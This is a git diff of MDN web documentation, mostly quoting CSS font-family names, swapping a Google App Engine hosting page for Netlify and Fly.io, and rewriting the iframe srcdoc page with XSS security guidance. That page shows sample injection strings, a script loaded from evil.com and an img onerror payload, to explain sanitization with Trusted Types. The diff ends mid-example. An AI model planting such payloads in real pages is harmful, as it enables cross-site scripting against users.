@@ -112,7 +112,7 @@ The CSS used for the text styling and spacing is as follows:
 /* General styles */
 
 html {
-  font-family: Helvetica, Arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   font-size: 10px;
 }
 
diff --git a/files/en-us/learn_web_development/core/text_styling/web_fonts/index.md b/files/en-us/learn_web_development/core/text_styling/web_fonts/index.md
index 3f80b214a7654b6..a7a9e616e6c4c9f 100644
--- a/files/en-us/learn_web_development/core/text_styling/web_fonts/index.md
+++ b/files/en-us/learn_web_development/core/text_styling/web_fonts/index.md
@@ -41,7 +41,7 @@ As we looked at in [Fundamental text and font styling](/en-US/docs/Learn_web_dev
 
 ```css
 p {
-  font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif;
+  font-family: "Helvetica", "Trebuchet MS", "Verdana", sans-serif;
 }
 ```
 
diff --git a/files/en-us/learn_web_development/extensions/client-side_apis/drawing_graphics/index.md b/files/en-us/learn_web_development/extensions/client-side_apis/drawing_graphics/index.md
index cef7146398c8644..fb6216dcc7e8a28 100644
--- a/files/en-us/learn_web_development/extensions/client-side_apis/drawing_graphics/index.md
+++ b/files/en-us/learn_web_development/extensions/client-side_apis/drawing_graphics/index.md
@@ -52,7 +52,7 @@ body {
 }
 
 html {
-  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+  font-family: "Helvetica Neue", "Helvetica", "Arial", sans-serif;
   height: 100%;
 }
 
diff --git a/files/en-us/learn_web_development/extensions/client-side_apis/video_and_audio_apis/index.md b/files/en-us/learn_web_development/extensions/client-side_apis/video_and_audio_apis/index.md
index 098fb98ec8f5c5d..9e6330b6a50f5e9 100644
--- a/files/en-us/learn_web_development/extensions/client-side_apis/video_and_audio_apis/index.md
+++ b/files/en-us/learn_web_development/extensions/client-side_apis/video_and_audio_apis/index.md
@@ -173,7 +173,7 @@ button,
 }
 
 button::before {
-  font-family: HeydingsControlsRegular;
+  font-family: "HeydingsControlsRegular";
   font-size: 20px;
   position: relative;
   content: attr(data-icon);
@@ -471,7 +471,7 @@ To get started with this example, follow these steps:
    }
 
    button::before {
-     font-family: HeydingsControlsRegular;
+     font-family: "HeydingsControlsRegular";
      font-size: 20px;
      position: relative;
      content: attr(data-icon);
@@ -609,7 +609,7 @@ Next, let's look at our button icons:
 }
 
 button::before {
-  font-family: HeydingsControlsRegular;
+  font-family: "HeydingsControlsRegular";
   font-size: 20px;
   position: relative;
   content: attr(data-icon);
diff --git a/files/en-us/learn_web_development/extensions/forms/customizable_select/index.md b/files/en-us/learn_web_development/extensions/forms/customizable_select/index.md
index e596da3d1037dd2..0232d5382b17e39 100644
--- a/files/en-us/learn_web_development/extensions/forms/customizable_select/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/customizable_select/index.md
@@ -131,7 +131,7 @@ select,
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_1/index.md b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_1/index.md
index eb42e29ec88661c..5aa3a2cb243af26 100644
--- a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_1/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_1/index.md
@@ -59,7 +59,7 @@ This is the first example of code that explains [how to build a custom form widg
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -194,7 +194,7 @@ This is the first example of code that explains [how to build a custom form widg
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -329,7 +329,7 @@ This is the first example of code that explains [how to build a custom form widg
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
diff --git a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_2/index.md b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_2/index.md
index 42d95f81cd4d2ca..7e70f3437fefc7b 100644
--- a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_2/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_2/index.md
@@ -77,7 +77,7 @@ This is the second example that explain [how to build custom form widgets](/en-U
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
diff --git a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_3/index.md b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_3/index.md
index 254cffb8496295c..60da0b321c67156 100644
--- a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_3/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_3/index.md
@@ -77,7 +77,7 @@ This is the third example that explain [how to build custom form widgets](/en-US
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
diff --git a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_4/index.md b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_4/index.md
index 064ec7a69922690..38de8d8825c4221 100644
--- a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_4/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_4/index.md
@@ -77,7 +77,7 @@ This is the fourth example that explain [how to build custom form widgets](/en-U
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
diff --git a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_5/index.md b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_5/index.md
index 22f3ae38bedea04..9d47dc86cdc3df6 100644
--- a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_5/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/example_5/index.md
@@ -77,7 +77,7 @@ This is the last example that explain [how to build custom form widgets](/en-US/
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
diff --git a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/index.md b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/index.md
index a3b0876ad91ff52..1901ca52924b7de 100644
--- a/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/index.md
+++ b/files/en-us/learn_web_development/extensions/forms/how_to_build_custom_form_controls/index.md
@@ -177,7 +177,7 @@ So now that we have the basic functionality in place, the fun can start. The fol
   /* The computations are made assuming 1em equals 16px which is the default value in most browsers.
      If you are lost with px to em conversion, try https://nekocalc.com/px-to-em-converter */
   font-size: 0.625em; /* this (10px) is the new font size context for em value in this context */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -318,7 +318,7 @@ So here's the result with our three states ([check out the source code here](/en
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -439,7 +439,7 @@ So here's the result with our three states ([check out the source code here](/en
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -560,7 +560,7 @@ So here's the result with our three states ([check out the source code here](/en
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -817,7 +817,7 @@ Check out the [full source code](/en-US/docs/Learn_web_development/Extensions/Fo
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -1109,7 +1109,7 @@ Check out the [full source code](/en-US/docs/Learn_web_development/Extensions/Fo
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -1427,7 +1427,7 @@ Check out the [source code here](/en-US/docs/Learn_web_development/Extensions/Fo
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
@@ -1746,7 +1746,7 @@ Check out the [full source code here](/en-US/docs/Learn_web_development/Extensio
 
 .select {
   font-size: 0.625em; /* 10px */
-  font-family: Verdana, Arial, sans-serif;
+  font-family: "Verdana", "Arial", sans-serif;
 
   box-sizing: border-box;
 
diff --git a/files/en-us/learn_web_development/extensions/performance/css/index.md b/files/en-us/learn_web_development/extensions/performance/css/index.md
index 2936316fb179cd8..e0b4da523a1a1d3 100644
--- a/files/en-us/learn_web_development/extensions/performance/css/index.md
+++ b/files/en-us/learn_web_development/extensions/performance/css/index.md
@@ -252,7 +252,7 @@ Applied to the `@font-face` at-rule, the [`font-display`](/en-US/docs/Web/CSS/@f
 
 ```css
 @font-face {
-  font-family: someFont;
+  font-family: "someFont";
   src: url("/path/to/fonts/someFont.woff") format("woff");
   font-weight: 400;
   font-style: normal;
diff --git a/files/en-us/learn_web_development/getting_started/your_first_website/publishing_your_website/index.md b/files/en-us/learn_web_development/getting_started/your_first_website/publishing_your_website/index.md
index e146b8ef3595d6e..77e027b7a0d4a40 100644
--- a/files/en-us/learn_web_development/getting_started/your_first_website/publishing_your_website/index.md
+++ b/files/en-us/learn_web_development/getting_started/your_first_website/publishing_your_website/index.md
@@ -62,12 +62,13 @@ Companies use various mechanisms to transfer files to their web servers. Many wi
 - Your home or office {{Glossary("ISP", "internet service provider")}} may provide some limited hosting for a small website. The available feature set will be limited, but it might be perfect for your first experiments.
 - There are also free services available like [Neocities](https://neocities.org/), [Google Sites](https://sites.google.com/), and [WordPress](https://wordpress.com/). Such services can be limited in scope, but they are good enough for initial experiments.
 
-### Using an online tool like GitHub or Google App Engine
+### Using an online tool
 
 Some tools let you publish your website online:
 
 - [GitHub](https://github.com/) is a "social coding" site. It allows you to upload code repositories for storage in the [Git](https://git-scm.com/) **version control system.** You can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your GitHub code, use it, learn from it, and improve on it. GitHub has a very useful feature called [GitHub Pages](https://pages.github.com/), which allows you to expose website code live on the web.
-- [Google App Engine](https://cloud.google.com/appengine) is a powerful platform that lets you build and run applications on Google's infrastructure — whether you need to build a multi-tiered web application from scratch or host a static website. See [How do you host your website on Google App Engine?](/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine) for more information.
+- [Netlify](https://www.netlify.com/) is a web hosting platform that provides hosting for static websites directly from your GitHub repository. It also provides a number of additional features, such as deployment preview, serverless functions, and form handling.
+- [Fly.io](https://fly.io/) is a platform that allows you to deploy applications and databases close to your users. This is more suitable if you have a web application that requires backend services.
 
 These options are generally free, with a limited feature-set.
 
diff --git a/files/en-us/learn_web_development/howto/solve_css_problems/create_fancy_boxes/index.md b/files/en-us/learn_web_development/howto/solve_css_problems/create_fancy_boxes/index.md
index 1f855669bca7500..d4325711eb7c073 100644
--- a/files/en-us/learn_web_development/howto/solve_css_problems/create_fancy_boxes/index.md
+++ b/files/en-us/learn_web_development/howto/solve_css_problems/create_fancy_boxes/index.md
@@ -241,9 +241,7 @@ blockquote::after {
   position: absolute;
   height: 3rem;
   font:
-    6rem/100% Georgia,
-    "Times New Roman",
-    Times,
+    6rem/100% "Georgia",
     serif;
 }
 
diff --git a/files/en-us/learn_web_development/howto/solve_css_problems/css_faq/index.md b/files/en-us/learn_web_development/howto/solve_css_problems/css_faq/index.md
index 01c906064facf9b..e1992c6e5bd0eb5 100644
--- a/files/en-us/learn_web_development/howto/solve_css_problems/css_faq/index.md
+++ b/files/en-us/learn_web_development/howto/solve_css_problems/css_faq/index.md
@@ -177,11 +177,11 @@ Using shorthand properties for defining style rules is good because it uses a ve
 ```css
 #stockTicker {
   font-size: 12px;
-  font-family: Verdana;
+  font-family: "Verdana";
   font-weight: bold;
 }
 .stockSymbol {
-  font: 14px Arial;
+  font: 14px "Arial";
   color: red;
 }
 ```
@@ -195,7 +195,7 @@ In the previous example the problem occurred on rules belonging to different ele
 ```css
 #stockTicker {
   font-weight: bold;
-  font: 12px Verdana; /* font-weight is now set to normal */
+  font: 12px "Verdana"; /* font-weight is now set to normal */
 }
 ```
 
@@ -208,7 +208,7 @@ body * {
   font-weight: normal;
 }
 #stockTicker {
-  font: 12px Verdana;
+  font: 12px "Verdana";
 }
 .corpName {
   font-weight: bold;
diff --git a/files/en-us/learn_web_development/howto/tools_and_setup/how_do_you_host_your_website_on_google_app_engine/index.md b/files/en-us/learn_web_development/howto/tools_and_setup/how_do_you_host_your_website_on_google_app_engine/index.md
deleted file mode 100644
index f789a6b01ad98f8..000000000000000
--- a/files/en-us/learn_web_development/howto/tools_and_setup/how_do_you_host_your_website_on_google_app_engine/index.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: How do you host your website on Google App Engine?
-slug: Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine
-page-type: learn-faq
-sidebar: learn-how-to
----
-
-[Google App Engine](https://cloud.google.com/appengine) is a powerful platform that lets you build and run applications on Google's infrastructure — whether you need to build a multi-tiered web application from scratch or host a static website. Here's a step-by-step guide to hosting your website on Google App Engine.
-
-## Creating a Google Cloud Platform project
-
-To use Google's tools for your own site or app, you need to create a new project on Google Cloud Platform. This requires having a Google account.
-
-1. Go to the [App Engine dashboard](https://console.cloud.google.com/projectselector/appengine) on the Google Cloud Platform Console and press the _Create_ button.
-2. If you've not created a project before, you'll need to select whether you want to receive email updates or not, agree to the Terms of Service, and then you should be able to continue.
-3. Enter a name for the project, edit your project ID and note it down. For this tutorial, the following values are used:
-   - Project Name: _GAE Sample Site_
-   - Project ID: _gaesamplesite_
-
-4. Click the _Create_ button to create your project.
-
-## Creating an application
-
-Each Cloud Platform project can contain one App Engine application. Let's prepare an app for our project.
-
-1. We'll need a sample application to publish. If you've not got one to use, download and unzip this [sample app](https://gaesamplesite.appspot.com/downloads.html).
-2. Have a look at the sample application's structure — the `website` folder contains your website content and `app.yaml` is your application configuration file.
-   - Your website content must go inside the `website` folder, and its landing page must be called `index.html`, but apart from that it can take whatever form you like.
-   - The `app.yaml` file is a configuration file that tells App Engine how to map URLs to your static files. You don't need to edit it.
-
-## Publishing your application
-
-Now that we've got our project made and sample app files collected together, let's publish our app.
-
-1. Open [Google Cloud Shell](https://shell.cloud.google.com/).
-2. Drag and drop the `sample-app` folder into the left pane of the code editor.
-3. Run the following in the command line to select your project:
-
-   ```bash
-   gcloud config set project gaesamplesite
-   ```
-
-4. Then run the following command to go to your app's directory:
-
-   ```bash
-   cd sample-app
-   ```
-
-5. You are now ready to deploy your application, i.e., upload your app to App Engine:
-
-   ```bash
-   gcloud app deploy
-   ```
-
-6. Enter a number to choose the region where you want your application located.
-7. Enter `Y` to confirm.
-8. Now navigate your browser to _your-project-id_.appspot.com to see your website online. For example, for the project ID _gaesamplesite_, go to [_gaesamplesite_.appspot.com](https://gaesamplesite.appspot.com/).
-
-## See also
-
-To learn more, see [Google App Engine Documentation](https://cloud.google.com/appengine/docs/).
diff --git a/files/en-us/learn_web_development/howto/tools_and_setup/index.md b/files/en-us/learn_web_development/howto/tools_and_setup/index.md
index 050de10885343fd..fce7382065f59f1 100644
--- a/files/en-us/learn_web_development/howto/tools_and_setup/index.md
+++ b/files/en-us/learn_web_development/howto/tools_and_setup/index.md
@@ -27,8 +27,6 @@ This section lists questions related to the tools/software you can use to build
   - : This article shows how to publish your site online with {{Glossary("FTP")}} tools — one of the most common ways to get a website online so others can access it from their computers.
 - [How do I use GitHub Pages?](/en-US/docs/Learn_web_development/Howto/Tools_and_setup/Using_GitHub_pages)
   - : This article provides a basic guide to publishing content using GitHub's gh-pages feature.
-- [How do you host your website on Google App Engine?](/en-US/docs/Learn_web_development/Howto/Tools_and_setup/How_do_you_host_your_website_on_Google_App_Engine)
-  - : Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.
 - [What tools are available to debug and improve website performance?](https://firefox-source-docs.mozilla.org/devtools-user/performance/index.html)
   - : This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your
     website, using the tools to check memory usage, the JavaScript call tree, the number of DOM nodes being rendered, and
diff --git a/files/en-us/mozilla/add-ons/webextensions/manifest.json/background/index.md b/files/en-us/mozilla/add-ons/webextensions/manifest.json/background/index.md
index 4de0106bd623a0a..1365219bc70c733 100644
--- a/files/en-us/mozilla/add-ons/webextensions/manifest.json/background/index.md
+++ b/files/en-us/mozilla/add-ons/webextensions/manifest.json/background/index.md
@@ -185,7 +185,7 @@ Support for the `scripts`, `page`, and `service_worker` properties varies betwee
   - `background.service_worker` is not supported (see [Firefox bug 1573659](https://bugzil.la/1573659)).
   - supports `background.scripts` (or `background.page`) if `service_worker` is not specified or the service worker feature is disabled. Before Firefox 120, Firefox did not start the background page if `service_worker` was present (see [Firefox bug 1860304](https://bugzil.la/1860304)). From Firefox 121, the background page starts as expected, regardless of the presence of `service_worker`.
 - Safari:
-  - supports `background.scripts` (or `background.page`) and `background.service_worker`. 
+  - supports `background.scripts` (or `background.page`) and `background.service_worker`.
   - when both are specified, Safari uses `background.scripts` (or `background.page`) unless `preferred_environment` is set to `service_worker`.
   - when `preferred_environment` is set to `service_worker` and `background.service_worker` isn't specified, Safari generates a service worker from `background.scripts` if present.
 
diff --git a/files/en-us/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md b/files/en-us/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md
index 39d6315f7b7f011..a070692ef8fe9b5 100644
--- a/files/en-us/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md
+++ b/files/en-us/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.md
@@ -87,7 +87,7 @@ In this example:
     <style type="text/css">
       body,
       p {
-        font-family: Verdana, sans-serif;
+        font-family: "Verdana", sans-serif;
         font-size: 12px;
       }
     </style>
diff --git a/files/en-us/web/api/animation/overallprogress/index.md b/files/en-us/web/api/animation/overallprogress/index.md
index bd3acc19569b25d..7c01729e232d1e4 100644
--- a/files/en-us/web/api/animation/overallprogress/index.md
+++ b/files/en-us/web/api/animation/overallprogress/index.md
@@ -44,7 +44,7 @@ The demo's CSS provides some rudimentary styling, which is not important for und
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/api/cssfontfacerule/index.md b/files/en-us/web/api/cssfontfacerule/index.md
index 2be087f3322d4ca..3edc9ac29e6c985 100644
--- a/files/en-us/web/api/cssfontfacerule/index.md
+++ b/files/en-us/web/api/cssfontfacerule/index.md
@@ -28,7 +28,7 @@ This example uses the CSS found as an example on the {{cssxref("@font-face")}} p
 
 ```css
 @font-face {
-  font-family: MyHelvetica;
+  font-family: "MyHelvetica";
   src:
     local("Helvetica Neue Bold"), local("HelveticaNeue-Bold"),
     url("MgOpenModernaBold.ttf");
diff --git a/files/en-us/web/api/cssfontfacerule/style/index.md b/files/en-us/web/api/cssfontfacerule/style/index.md
index e53ba572e2a3e63..2fec6df0e0b2cb5 100644
--- a/files/en-us/web/api/cssfontfacerule/style/index.md
+++ b/files/en-us/web/api/cssfontfacerule/style/index.md
@@ -20,7 +20,7 @@ This example uses the CSS found as an example on the {{cssxref("@font-face")}} p
 
 ```css
 @font-face {
-  font-family: MyHelvetica;
+  font-family: "MyHelvetica";
   src:
     local("Helvetica Neue Bold"), local("HelveticaNeue-Bold"),
     url("MgOpenModernaBold.ttf");
diff --git a/files/en-us/web/api/document_object_model/examples/index.md b/files/en-us/web/api/document_object_model/examples/index.md
index 9e7ef05e2a44118..2c9e9983a53d3a6 100644
--- a/files/en-us/web/api/document_object_model/examples/index.md
+++ b/files/en-us/web/api/document_object_model/examples/index.md
@@ -139,7 +139,7 @@ body {
   background-color: darkblue;
 }
 p {
-  font-family: Arial;
+  font-family: "Arial";
   font-size: 10pt;
   margin-left: 0.125in;
 }
diff --git a/files/en-us/web/api/element/requestfullscreen/index.md b/files/en-us/web/api/element/requestfullscreen/index.md
index c32ce3810182371..b1326cf32e6ab35 100644
--- a/files/en-us/web/api/element/requestfullscreen/index.md
+++ b/files/en-us/web/api/element/requestfullscreen/index.md
@@ -145,7 +145,8 @@ document.addEventListener("keydown", (event) => {
 
 ```css hidden
 body {
-  font-family: "Benton Sans", "Helvetica Neue", helvetica, arial, sans-serif;
+  font-family:
+    "Benton Sans", "Helvetica Neue", "Helvetica", "Arial", sans-serif;
   margin: 2em;
 }
 
diff --git a/files/en-us/web/api/highlightregistry/highlightsfrompoint/index.md b/files/en-us/web/api/highlightregistry/highlightsfrompoint/index.md
index c34583da4171b41..30272de301fa1ae 100644
--- a/files/en-us/web/api/highlightregistry/highlightsfrompoint/index.md
+++ b/files/en-us/web/api/highlightregistry/highlightsfrompoint/index.md
@@ -80,9 +80,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1em / 1.4 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1em / 1.4 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 1em;
   max-width: 800px;
diff --git a/files/en-us/web/api/htmlelement/hidden/index.md b/files/en-us/web/api/htmlelement/hidden/index.md
index 21e655575ea3a68..871d959477800aa 100644
--- a/files/en-us/web/api/htmlelement/hidden/index.md
+++ b/files/en-us/web/api/htmlelement/hidden/index.md
@@ -53,8 +53,8 @@ The content is styled using the CSS below.
 .panel {
   font:
     16px "Open Sans",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
   border: 1px solid #2222dd;
   padding: 12px;
@@ -65,8 +65,8 @@ The content is styled using the CSS below.
 .button {
   font:
     22px "Open Sans",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 5px 36px;
 }
diff --git a/files/en-us/web/api/htmliframeelement/index.md b/files/en-us/web/api/htmliframeelement/index.md
index 69e56b71623b4d7..4b35e2b022f6932 100644
--- a/files/en-us/web/api/htmliframeelement/index.md
+++ b/files/en-us/web/api/htmliframeelement/index.md
@@ -59,7 +59,7 @@ _Inherits properties from its parent, {{domxref("HTMLElement")}}_.
 - {{domxref("HTMLIFrameElement.src")}}
   - : A string that reflects the [`src`](/en-US/docs/Web/HTML/Reference/Elements/iframe#src) HTML attribute, containing the address of the content to be embedded. Note that programmatically removing an `<iframe>`'s src attribute (e.g., via {{domxref("Element.removeAttribute()")}}) causes `about:blank` to be loaded in the frame in Firefox (from version 65), Chromium-based browsers, and Safari/iOS.
 - {{domxref("HTMLIFrameElement.srcdoc")}}
-  - : A string that represents the content to display in the frame.
+  - : A {{domxref("TrustedHTML")}} or string that represents the HTML document loaded into the frame.
 - {{domxref("HTMLIFrameElement.width")}}
   - : A string that reflects the [`width`](/en-US/docs/Web/HTML/Reference/Elements/iframe#width) HTML attribute, indicating the width of the frame.
 
diff --git a/files/en-us/web/api/htmliframeelement/srcdoc/index.md b/files/en-us/web/api/htmliframeelement/srcdoc/index.md
index 31ab393cc100431..8b77cffc08e6edb 100644
--- a/files/en-us/web/api/htmliframeelement/srcdoc/index.md
+++ b/files/en-us/web/api/htmliframeelement/srcdoc/index.md
@@ -8,16 +8,127 @@ browser-compat: api.HTMLIFrameElement.srcdoc
 
 {{APIRef("HTML DOM")}}
 
-The **`srcdoc`** property of the {{domxref("HTMLIFrameElement")}} specifies the content of the page.
+> [!WARNING]
+> This property parses its input as HTML, writing the result into the frame's DOM.
+> APIs like this are known as [injection sinks](/en-US/docs/Web/API/Trusted_Types_API#concepts_and_usage), and are potentially a vector for [cross-site-scripting (XSS)](/en-US/docs/Web/Security/Attacks/XSS) attacks, if the input originally came from an attacker.
+>
+> You can mitigate this risk by always assigning `TrustedHTML` objects instead of strings and [enforcing trusted types](/en-US/docs/Web/API/Trusted_Types_API#using_a_csp_to_enforce_trusted_types).
+> See [Security considerations](#security_considerations) for more information.
 
-## Examples
+The **`srcdoc`** property of the {{domxref("HTMLIFrameElement")}} interface gets or sets the inline HTML markup of the frame's document.
+
+This reflects the [`srcdoc`](/en-US/docs/Web/HTML/Reference/Elements/iframe#srcdoc) attribute of the {{htmlelement("iframe")}}.
+
+## Value
+
+Getting the property returns a string containing the HTML serialization of the frame's document.
+This is `undefined` if the value is not set.
+
+Setting the property accepts either a {{domxref("TrustedHTML")}} object or a string.
+It parses this input as a HTML document and replaces the content of the frame with the result.
+
+### Exceptions
+
+- `TypeError`
+  - : Thrown if the property is set to a string when [Trusted Types](/en-US/docs/Web/API/Trusted_Types_API) are [enforced by a CSP](/en-US/docs/Web/API/Trusted_Types_API#using_a_csp_to_enforce_trusted_types) and no default policy is defined.
+
+## Description
+
+The **`srcdoc`** property reflects the content of the `<iframe>` element's [`srcdoc`](/en-US/docs/Web/HTML/Reference/Elements/iframe#srcdoc) attribute, and can be used to set or get the HTML document belonging to the {{htmlelement("iframe")}}.
+
+When setting the property the input should define a valid HTML document, including the {{glossary("doctype","doctype directive")}}, {{htmlelement("html")}}, {{htmlelement("body")}}, and other tags.
+Note though, that browsers are usually tolerant of invalid markup, and most should attempt to render input that contains only body content.
+
+Any markup supported by the browser will be parsed/serialized, including {{glossary("shadow tree", "Shadow roots")}}.
+
+Note that if this is set, it will override any value set in the {{domxref("HTMLIFrameElement.src", "src")}} property.
+
+### Security considerations
+
+The `srcdoc` property allows absolutely any HTML markup to run in a frame by default.
+If the frame is not sandboxed using the Content Security Property (CSP) [`sandbox` directive](/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/sandbox) (or is sandboxed but includes the [`allow-same-origin`](/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/sandbox#allow-same-origin) value) then it will be same-origin with the parent.
+This means that the frame will have complete access to the parent DOM and resources, and visa versa.
+
+This is a significant vector for [Cross-site-scripting (XSS)](/en-US/docs/Web/Security/Attacks/XSS) attacks if potentially unsafe strings provided by a user are injected into a frame without first being sanitized.
+Consider the following code where a string of HTML from a user might be passed into a frame that is then added to the document.
 
 ```js
+const untrustedStringFromUser = `<!doctype html><script src="http://evil.com/naughty.js"></script>`;
 const iframe = document.createElement("iframe");
-iframe.srcdoc = `<!doctype html><p>Hello World!</p>`;
+iframe.srcdoc = untrustedStringFromUser;
 document.body.appendChild(iframe);
 ```
 
+If the frame is not expected to need access to your parent document, you can mitigate the risk by using a CSP sandbox without the `allow-same-origin` value.
+The frame will then be treated as a cross-origin resource, and attacks will be significantly restricted.
+You can also use a more general CSP to restrict the locations from which scripts and other resources are allowed to be fetched.
+
+You can further reduce the risk by always assigning {{domxref("TrustedHTML")}} objects instead of strings, and [enforcing trusted type](/en-US/docs/Web/API/Trusted_Types_API#using_a_csp_to_enforce_trusted_types) using the [`require-trusted-types-for`](/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/require-trusted-types-for) CSP directive.
+This ensures that the input is passed through a transformation function, which has the chance to [sanitize](/en-US/docs/Web/Security/Attacks/XSS#sanitization) the input to remove potentially dangerous markup before it is injected.
+
+## Examples
+
+### Reading the HTML from a frame
+
+Reading `srcdoc` causes the user agent to serialize the frame's document.
+
+Given the following HTML:
+
+```html
+<frame
+  id="example"
+  srcdoc="<!doctype html><body><p>Hello World!</p></body>"></frame>
+```
+
+You can get and log the markup as shown:
+
+```js
+const frame = document.querySelector("#frame");
+const frameDoc = frame.srcdoc;
+console.log(frameDoc); // "<!doctype html><body><p>Hello World!</p></body>"
+```
+
+### Replacing the frame inline source
+
+In this example we'll replace a frame's document by assigning HTML to its `srcdoc` property.
+To mitigate the risk of XSS, we'll first create a `TrustedHTML` object from the string containing the HTML, and then assign that object to `srcdoc`.
+
+Trusted types are not yet supported on all browsers, so first we define the [trusted types tinyfill](/en-US/docs/Web/API/Trusted_Types_API#trusted_types_tinyfill).
+This acts as a transparent replacement for the Trusted Types JavaScript API:
+
+```js
+if (typeof trustedTypes === "undefined")
+  trustedTypes = { createPolicy: (n, rules) => rules };
+```
+
+Next we create a {{domxref("TrustedTypePolicy")}} that defines a {{domxref("TrustedTypePolicy/createHTML", "createHTML()")}} for transforming an input string into {{domxref("TrustedHTML")}} instances.
+Commonly, implementations of `createHTML()` use a library such as [DOMPurify](https://github.com/cure53/DOMPurify) to sanitize the input, as shown below:
+
+```js
+const policy = trustedTypes.createPolicy("my-policy", {
+  createHTML: (input) => DOMPurify.sanitize(input),
+});
+```
+
+Then we use this `policy` object to create a `TrustedHTML` object from the potentially unsafe input string, and assign the result to the element:
+
+```js
+// The potentially malicious string
+const untrustedString =
+  "<!doctype html><body><p>I might be XSS</p><img src='x' onerror='alert(1)'></body>";
+
+// Create a TrustedHTML instance using the policy
